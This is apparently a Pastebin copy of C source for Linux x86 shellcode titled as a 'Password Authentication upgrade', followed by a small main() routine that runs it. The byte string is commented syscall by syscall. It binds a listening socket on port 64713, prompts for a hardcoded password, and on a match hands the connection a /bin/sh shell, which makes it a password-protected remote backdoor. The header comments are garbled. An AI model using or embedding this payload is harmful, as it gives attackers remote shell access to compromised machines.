emS-St1ks

linux/x86 Password Authentication upgrade

Jun 24th, 2012
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  * linux-x86-authportbind.c upgrade
  3.  * division acces
  4.  * not password green
  5.  *  MD
  6.  *
  7.  *
  8.  */
  9.  
  10. char shellcode[] =
  11.  
  12.   /* socket(AF_INET, SOCK_STREAM, 0) */
  13.  
  14.   "\x6a\x66"            // push   $0x66
  15.   "\x58"            // pop    %eax
  16.   "\x6a\x01"            // push   $0x1
  17.   "\x5b"            // pop    %ebx
  18.   "\x99"            // cltd
  19.   "\x52"            // push   %edx
  20.   "\x53"            // push   %ebx
  21.   "\x6a\x02"            // push   $0x2
  22.   "\x89\xe1"            // mov    %esp,%ecx
  23.   "\xcd\x80"            // int    $0x80
  24.  
  25.   /* bind(s, server, sizeof(server)) */
  26.  
  27.   "\x52"            // push   %edx
  28.   "\x66\x68\xfc\xc9"        // pushw  $0xc9fc  // PORT = 64713
  29.   "\x66\x6a\x02"        // pushw  $0x2
  30.   "\x89\xe1"            // mov    $esp,%ecx
  31.   "\x6a\x10"            // push   $0x10
  32.   "\x51"            // push   %ecx
  33.   "\x50"            // push   %eax
  34.   "\x89\xe1"            // mov    %esp,%ecx
  35.   "\x89\xc6"            // mov    %eax,%esi
  36.   "\x43"            // inc    %ebx
  37.   "\xb0\x66"            // mov    $0x66,%al
  38.   "\xcd\x80"            // int    $0x80
  39.  
  40.   /* listen(s, anything) */
  41.  
  42.   "\xb0\x66"            // mov    $0x66,%al
  43.   "\xd1\xe3"            // shl    %ebx
  44.   "\xcd\x80"            // int    $0x80
  45.  
  46.   /* accept(s, 0, 0) */
  47.  
  48.   "\x52"            // push   %edx
  49.   "\x52"            // push   %edx
  50.   "\x56"            // push   %esi
  51.   "\x89\xe1"            // mov    %esp,%ecx
  52.   "\x43"            // inc    %ebx
  53.   "\xb0\x66"            // mov    $0x66,%al
  54.   "\xcd\x80"            // int    $0x80
  55.  
  56.   "\x96"            // xchg   %eax,%esi
  57.  
  58.   /* send(s, "Password: ", 0x0a, flags) */
  59.  
  60.   "\x52"            // push   %edx
  61.   "\x68\x72\x64\x3a\x20"    // push   $0x203a6472
  62.   "\x68\x73\x73\x77\x6f"    // push   $0x6f777373
  63.   "\x66\x68\x50\x61"        // pushw  $0x6150
  64.   "\x89\xe7"            // mov    $esp,%edi
  65.   "\x6a\x0a"            // push   $0xa
  66.   "\x57"            // push   %edi
  67.   "\x56"            // push   %esi
  68.   "\x89\xe1"            // mov    %esp,%ecx
  69.   "\xb3\x09"            // mov    $0x9,%bl
  70.   "\xb0\x66"            // mov    $0x66,%al
  71.   "\xcd\x80"            // int    $0x80
  72.  
  73.   /* recv(s, *buf, 0x08, flags) */
  74.  
  75.   "\x52"            // push   %edx
  76.   "\x6a\x08"            // push   $0x8
  77.   "\x8d\x4c\x24\x08"        // lea    0x8(%esp),%ecx
  78.   "\x51"            // push   %ecx
  79.   "\x56"            // push   %esi
  80.   "\x89\xe1"            // mov    %esp,%ecx
  81.   "\xb3\x0a"            // mov    $0xa,%bl
  82.   "\xb0\x66"            // mov    $0x66,%al
  83.   "\xcd\x80"            // int    $0x80
  84.  
  85.   "\x87\xf3"            // xchg   %esi,%ebx
  86.  
  87.   /* like: strncmp(string1, string2, 0x8) */
  88.    
  89.   "\x52"                        // push   %edx
  90.   "\x68\x61\x75\x6c\x74"    // push   $0x746c7561 // password
  91.   "\x68\x67\x6f\x74\x66"    // push   $0x66746f67 // here
  92.   "\x89\xe7"            // mov    %esp,%edi
  93.   "\x8d\x74\x24\x1c"        // lea    0x1c(%esp),%esi
  94.   "\x89\xd1"            // mov    %edx,%ecx
  95.   "\x80\xc1\x08"        // add    $0x8,%cl
  96.   "\xfc"            // cld
  97.   "\xf3\xa6"            // repz   cmpsb %es:(%edi),%ds:(%esi)
  98.   "\x74\x04"            // je     dup
  99.  
  100.   /* exit(something) */
  101.  
  102.   "\xf7\xf0"            // div    %eax
  103.   "\xcd\x80"            // int    $0x80
  104.  
  105.   /* dup2(c, 2) , dup2(c, 1) , dup2(c, 0) */
  106.  
  107.   "\x6a\x02"            // push   $0x2
  108.   "\x59"            // pop    %ecx
  109.  
  110.   "\xb0\x3f"            // mov    $0x3f,%al
  111.   "\xcd\x80"            // int    $0x80
  112.   "\x49"            // dec    %ecx
  113.   "\x79\xf9"            // jns    dup_loop
  114.  
  115.   /* execve("/bin/sh", ["/bin/sh"], NULL) */
  116.  
  117.   "\x6a\x0b"            // push   $0xb
  118.   "\x58"            // pop    %eax
  119.   "\x52"            // push   %edx
  120.   "\x68\x2f\x2f\x73\x68"    // push   $0x68732f2f
  121.   "\x68\x2f\x62\x69\x6e"    // push   $0x6e69622f
  122.   "\x89\xe3"            // mov    %esp, %ebx
  123.   "\x52"            // push   %edx
  124.   "\x53"            // push   %ebx
  125.   "\x89\xe1"            // mov    %esp, %ecx
  126.   "\xcd\x80";           // int    $0x80
  127.  
  128.  
  129. int main() {
  130.  
  131.         int (*f)() = (int(*)())shellcode;
  132.         printf("Length: %u\n", strlen(shellcode));
  133.         f();
  134. }
Advertisement
Add Comment
Please, Sign In to add comment